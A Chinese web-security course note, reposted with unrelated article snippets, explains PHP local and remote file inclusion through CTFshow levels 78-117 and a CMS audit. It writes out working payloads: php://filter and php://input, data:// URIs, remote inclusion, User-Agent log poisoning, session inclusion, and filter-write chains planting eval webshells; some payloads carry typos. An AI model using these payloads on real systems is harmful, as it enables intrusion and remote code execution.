小迪安全42WEB攻防-通用漏洞文件包含LFIRFI伪协议

#知识点:
1、解释什么是文件包含
2、分类-本地LFI&远程RFI
3、利用-配合上传&日志&会话
4、利用-伪协议&编码&算法等


#核心知识:
1、本地包含LFI&远程包含RF1-区别
一个只能包含本地,一个可以远程加载
具体形成原因由代码和环境配置文件决定

2、各类脚本语言包含代码写法见下文

<!-#include file="1.asp"-->
<!-#include file="top.aspx"->
<c:import url=http://thief.one/1.jsp">
<jsp:include page="head.jsp"/>
<%@ include file="head.jsp"%>
<?Php include(‘test.php’)?>

3、各类脚本语言包含伪协议玩法见图
https://www.cnblogs.com/endust/p/11804767.html

#思路要点:
黑盒发现:主要观察参数传递的数据和文件名是否对应

?X=文件名

白盒发现:
1、 可通过应用功能追踪代码定位审计
2、 可通过脚本特定函数搜索定位审计
3、 可通过伪协议玩法绕过相关修复等

#本课总结:
1、有可控文件如能上传文件,配合上传后包含

  1.  无可控文件可以利用日志或Session&伪协议

    3、代码固定目录及文件后缀时需考虑版本绕过
  2.  伪协议玩法是建立在代码中只有变量存在时

文件包含:

LFI(本地包含)和RFI(远程包含)

文件从哪儿来?

  1. 文件上传,上传至服务器(服务器会对脚本进行过滤,故大部分都是非脚本文件)
  2. 通过日志UA、session会话文件
  3. 伪协议(缺点:需要一定的条件:allow的配置需要开启,且处在当前的包含,不能有其它的干扰)

前置知识-原理&分类&探针&利用&修复

CTF应用-CTFSHOW-78关卡到117关卡


CMS源码-XHCMS-代码审计&日志&绕过

#前置知识原理&分类&探针&利用&修复

包含:也就相似与函数(文件)调用
实现过滤功能,是每个代码段进行过滤编写,还是写一个过滤文件

  1. 每个需要过滤的地方,进行一次过滤的编写
  2. 每个需要过滤的地方,进行一次文件包含调用过滤函数

包含即使执行

攻击思路:

  1. 配合文件上传getshell,图片带有后门代码,包含这个图片,脚本代码就可以被触发
  2. 配合日志文件进行getshell,日志会记录访问UA信息,修改UA信息为后门代码,包含即执行后门代码
  3. 配合会话文件进行getshell,session


#CTF应用-CTFSHOW-78关卡到117关卡

78-php&http协议

直接访问?Flag.php,发现无任何反应

那么就可能是要用伪协议了,由于我们不知道其他文件的路径,所以我们用不了file、zip等的伪协议

payload:php filter

?File=php://filter/read=convert.base64-encode/resource=flag.php

是一窜base64编码,解密即可

payload:php input

?file=php://input post:<?Php system('tac flag.php);?>

payload:远程包含

本地包含和远程包含的核心:是管理员的配置问题和代码问题

?File=php://www.xiaodi8.com/1.txt 

1.txt:<?php system(‘tac flag.php’);?>

Payload:Data协议

79data&http协议

从代码中,发现它对php进行了转义,这意味着php协议不能使用

因此可以使用data和远程协议等


payload: 

?file=data://text/plain,<?=system(‘tac flag.*’);?>

?file=data://text/plain;base64.PD9waHAgc3IzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

payload: 

?File=http://www.xiaodi8.com/1.txt 

  1. txt: <?php system(‘tac flag.*’):?>

     

80 81-日志包含

80

这次把data和远程(测试)过滤了

1、 利用其他协议,如file zib等
2、 利用日志记录UA特性包含执行

分析需文件名及带有php关键字放弃:

之前用的system(‘flag.*’)——这个是调用了系统操作的

而对于路径是不存在的,会直接以flag.*为文件名


故利用日志记录UA信息, UA带入代码

通过数据包分析,中间件容器为nginx

包含: /var/log/nginx/access.log

抓包更改其数据包的UA头,使日志文件去执行<?php system(‘cat flag.*’)?>

81

它这里是多了个分号过滤

还是可以用日志文件

82-86-SESSIONE

https://www.cnblogs.com/echoDetected/p/13976405.html

session固定位置

因为session是可以进行更改的,所以就和日志UA有一样的思路

87-php://filter/write&加密编码

利用base64:

url编码2次: php//filter/write=convert.base64-decode/resource=123.php content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

因为考虑到urldecode,因此需要进行加密,从而去满足函数的要求,网页会第一次解密,函数会第二次解密,所以我们需要连续加密两次

2、利用凯撒13:

url编码2次: php://filter/write=string.rot13/resource=2.php
content=<?cuc flfgrz('gnp.s*.cuc');?>

88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64值

Payload:

file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtY2hvIDEyMZs/PmFK

117-php://filter/write&新的算法

Php没被过滤


convert.iconv.:-种过滤器,和使用iconv()函数处理流数据有等同作用!

<?php
  $result = iconv("UCS-2LE",”UCS-2BE". '<?php eval($S_ POST[a]);?>);

echo“经过一次反转:"。$result."\n";

echo“经过第二次反转:" .iconv("UCS-2LE","UCS-2BE",$result);

?>

Payload: file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

contents=?<hp pvela$(P_SO[T]a;)>?

#CMS源码-XHCMS-代码审计&日志&绕过

1、搜索特定函数寻包含点

2、固定目录及后缀名需绕过

3、由CMS无上传用日志包含

Index.php

它进行了伪协议的过滤

1.txt

但是在代码中,会对php进行解析,所以要加1.txt.php才会被解析

用日志文件也不行,会被直接加php

长度限制绕过:长度会把脚本的固定后缀给击破

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/753523.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2024智慧农场系统微信小程序前端如何上传以及配置

2024智慧农场系统微信小程序前端如何上传以及配置 首先下载微信开发者工具 下载好以后打开&#xff0c;然后导入项目 前端修改&#xff1a;siteinfo.js 里面的域名信息 改完之后开始在微信开发者工具中开发工具中编译、上传、发布即可

【how2j练习题】HTML部分综合练习

练习题 1 <html><h1>英雄联盟 &#xff08;电子竞技类游戏&#xff09;</h1> <p> <strong>《英雄联盟》</strong>&#xff08;简称lol&#xff09;是由美国<i>Riot Games</i>开发&#xff0c;中国大陆地区由腾讯游戏运营的网络…

软考78-上午题-【面向对象技术3-设计模式】-结构型设计模式01

一、适配器模式 1-1、意图 个类的接口转换成客户希望的另外一个接口。 Adapter 模式使得原本由于接口不兼容而不能一起工作的那些类可以一起工作。 1-2、结构 适配器模式分为&#xff1a; 1、适配器类模式&#xff1b; 2、适配器对象模式 类适配器使用多重继承对一个接口与另…

goland设置保存文件时不将4个空格转为TAB

goland设置保存文件时不将4个空格转为TAB 版本&#xff1a;GoLand 2022.3 设置路径&#xff1a; Settings -> Editor -> Code Style -> Go -> Run gofmt图示&#xff1a;

理解数字证书,守护你的大数据世界

随着大数据时代的来临&#xff0c;信息的安全性和可靠性成为了公众和企业关注的焦点。在这样的背景下&#xff0c;数字证书作为一种保障信息安全的重要工具&#xff0c;其重要性日益凸显。本文将从数字证书的基本概念、工作原理及其在大数据时代的应用等方面&#xff0c;为大家…

数据库管理-第161期 数据库,走着瞧(20240318)

数据库管理161期 2024-03-18 数据库管理-第161期 数据库&#xff0c;走着瞧&#xff08;20240318&#xff09;MySQLSACC走着瞧RACAIOps 总结 数据库管理-第161期 数据库&#xff0c;走着瞧&#xff08;20240318&#xff09; 作者&#xff1a;胖头鱼的鱼缸&#xff08;尹海文&am…

HTML + CSS 核心知识点- 定位

简述&#xff1a; 补充固定定位也会脱离文档流、不会占据原先位置 1、什么是文档流 文档流是指HTML文档中元素排列的规律和顺序。在网页中&#xff0c;元素按照其在HTML文档中出现的顺序依次排列&#xff0c;这种排列方式被称为文档流。文档流决定了元素在页面上的位置和互相之…

QT进阶-----------认识QT相关的模块(第四天)

1、关于Visual Studio与QT Creator的不同导入方式 Visual Studio作为windows宇宙最强编辑器以及编译器&#xff0c;它相当的好用&#xff0c;作为一个学了一年QT的菜鸟&#xff0c;总结了一些关于VS以及QT Creator两者的不同。 首先&#xff0c;在VS中qt是作为第三方库导入到…

怎么做好独立站的SEO优化

随着全球贸易的蓬勃发展&#xff0c;越来越多的企业开始关注外贸市场&#xff0c;并将目光投向了外贸网站。然而&#xff0c;在竞争激烈的外贸市场中&#xff0c;如何写出吸引人的文章&#xff0c;以及如何优化网站以在搜索引擎中脱颖而出&#xff0c;成为了外贸独立网站必须面…

机器学习-绪论

机器学习致力于研究如何通过计算的手段、利用经验来改善系统自身的性能。在计算机系统中&#xff0c;“经验”通常以“数据”的形式存在&#xff0c;因此&#xff0c;机器学习所研究的主要内容&#xff0c;是关于在计算机上从数据中产生“模型”的算法&#xff0c;即“学习算法…

PHP<=7.4.21 Development Server源码泄露漏洞 例题

打开题目 dirsearch扫描发现存在shell.php 非预期解 访问shell.php&#xff0c;往下翻直接就看到了flag.. 正常解法 访问shell.php 看见php的版本是7.3.33 我们知道 PHP<7.4.21时通过php -S开起的WEB服务器存在源码泄露漏洞&#xff0c;可以将PHP文件作为静态文件直接输…

LLM 面试知识点——模型基础知识

1、主流架构 目前LLM(Large Language Model)主流结构包括三种范式,分别为Encoder-Decoder、Causal Decoder、Prefix Decode。对应的网络整体结构和Attention掩码如下图。 、 各自特点、优缺点如下: 1)Encoder-Decoder 结构特点:输入双向注意力,输出单向注意力。 代表…

Tomcat:Session ID保持会话

目录 前言 ​一、部署环境 二、部署nginx反向代理服务器 三、部署tomcat服务器1 四、部署tomcat服务器2 五、客户端测试&#xff08;Session ID不断变动&#xff09; 六、配置Session ID会话保持 七、客户端测试&#xff08;Session ID保持&#xff09; 前言 此次实验…

C语言自定义库

编写 xx.c 和xx.h文件\将源代码编译为目标文件 gcc -c add.c sub.c 执行完毕后会生产add.o和sub.o文件静态库创建使用ar命令&#xff1b; ar -r libmymath.a add.o sub.o将库和main.c文件一起编译 gcc -o main main.c -lmymath -L./ 注意 上述书写格式不要错乱 -L 是指定文件路…

鸿蒙-项目创建及了解

目录 项目创建 1.App普通项目创建 2.元服务创建 项目结构 .hvigor .idea AppScope entry EntryAbility.ts pages resources module.json5 ohosTest hvigorfile.ts build-profile.json5 oh_modules build-profile.json5 hvigorfile.ts 项目运行 项目创建 F…

单模场哈密顿量推导

满足麦克斯韦方程和边界条件的单模场又下式&#xff08;1&#xff09;&#xff0c;&#xff08;2&#xff09;给出 --------&#xff08;1&#xff09; ---------&#xff08;2&#xff09; , 单模场的经典场能或者哈密顿量又下式给出&#xff1a; &#xff08;3&#xff09…

JUC并发编程(四)

1、同步模式保护性暂停 用一个线程等待另一个线程的执行结果 有一个结果需要从一个线程传递到另一个线程&#xff0c;让他们关联同一个中间类。如果有结果不断从一个线程到另一个线程那么可以使用消息队列&#xff08;见生产者/消费者&#xff09;。JDK 中&#xff0c;join 的…

WebAssembly探索篇(三)emcc和cmake编译opencv案例

文章目录 开发环境安装opencv环境 实践出真知完整项目效果图 踩坑fatal error: opencv2/opencv.hpp file not found增加软链ln&#xff08;无效&#xff09;改用自行安装opencv&#xff0c;再显示指定lib路径 emcc命令行运行方式 最近因为项目原因&#xff0c;研究了一下WebAss…

C语言例:表达式 45-35+1^2 的值

代码如下&#xff1a; #include<stdio.h> int main(void) {int a;a 4&5-3&&51^2;printf("4&5-3&&51^2 %d\n",a);return 0; } 结果如下&#xff1a;

maven一点通

1.maven简介 Maven是一个基于Java的工程构建工具&#xff0c;用于管理和构建项目的依赖关系。它提供了一种标准的项目结构和一组约定&#xff0c;使得项目的开发、构建、部署和文档化更加容易和可靠。 Maven的主要功能包括&#xff1a; 依赖管理&#xff1a;Maven可以自动下载…